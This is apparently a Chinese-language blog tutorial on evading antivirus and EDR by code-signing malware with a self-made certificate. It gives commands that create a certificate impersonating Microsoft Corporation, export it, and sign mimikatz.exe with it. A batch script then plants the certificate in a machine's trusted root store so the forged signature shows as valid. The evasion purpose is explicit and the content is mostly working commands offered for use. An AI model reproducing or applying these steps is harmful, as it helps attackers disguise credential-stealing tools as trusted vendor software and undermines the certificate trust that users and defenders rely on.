文章目录
- 什么是自签名
- 使用cmd生成自签名文件
- 对EXE进行签名
- 将PFX签名使用脚本安装到受信任的根证书颁发机构
什么是自签名
在对抗AV/EDR中使用签名文件是一种很好的策略,拥有签名也就意味着是安全的程序,
大多数AV是不会杀签名程序的,但是签名程序的获取往往比较麻烦使用过期签名或者,
吊销签名的相关往往不好因为显示已经失效,那么有没有这么一种签名可以自己生成并
且显示签名是有效的呢,这种签名是存在的叫做自签名通过自签名可以实现自己生成PFX
签名文件并签名EXE/DLL等,需要注意的是自签名的证书链不是有效的,那么有什么办法呢
那就是将PFX加入到信任根就可以了。
下面已Adfind为例
1.自签名但是没有将PFX加入到受信任的根证书颁发机构
2.将PFX加入到受信任的根证书颁发机构
可以看到已经变成合法签名EXE了,这样做对免杀是有效果的下面讲解如何去做。
使用cmd生成自签名文件
使用自签名首先需要生成PFX签名文件下面使用cmd生成签名文件:
New-SelfSignedCertificate -Type Custom -Subject "CN=Microsoft Corporation, O=Microsoft Corporation, C=US, L=Redmond, S=Washington" -KeyUsage DigitalSignature -FriendlyName "Microsoft Corporation" -CertStoreLocation "Cert:\CurrentUser\My" -TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.3", "2.5.29.19={text}") -NotAfter (Get-Date).AddYears(10)
设置密码为1234567
$password = ConvertTo-SecureString -String 1234567 -Force -AsPlainText
导出证书
需要需要My后面填写要写入Thumbprint每个人都是不同的生成后文件会在Users的Public下.
Export-PfxCertificate -cert "Cert:\CurrentUser\My\2F5E00E2D6F3D98C463712B384E613AB8101D1DE" -FilePath C:\Users\Public\Microsoft.pfx -Password $password
对EXE进行签名
对EXE签名有两种方法一种是signtool.exe进行签名另一种是亚洲诚信或类似。
signtool.exe是Windows开发包自带的如果没有使用亚洲诚信。
signtool.exe sign /f Microsoft.pfx /p 1234567 /t http://timestamp.digicert.com /v "mimikatz.exe"
亚洲诚信官网
https://www.trustasia.com/
使用亚洲诚信需要将签名PFX加入受信任的根证书颁发机构
未加入是红色的
双击PFX开始安装证书一直到证书储存区域
单击确定即可证书导入成功.
现在可以成功使用了
将PFX签名使用脚本安装到受信任的根证书颁发机构
需要注意的当将签名文件移动到其他Windows系统中显示签名链是不可信的这个时候就需要下
脚本并且将PFX带上将下属内容改为xxx.cmd运行即可安装成功,成功后显示签名正常。
@echo off
REM 定义 PFX 文件路径和密码
set "certPath=C:\Users\Public\Microsoft.pfx"
set "certPassword=1234567"
REM 将密码写入临时文件
echo %certPassword% > password.txt
REM 导入 PFX 文件到受信任的根证书存储中
certutil -f -p %certPassword% -importPFX %certPath%
REM 删除临时密码文件
del password.txt
echo PFX 文件已成功安装到受信任的根证书存储中。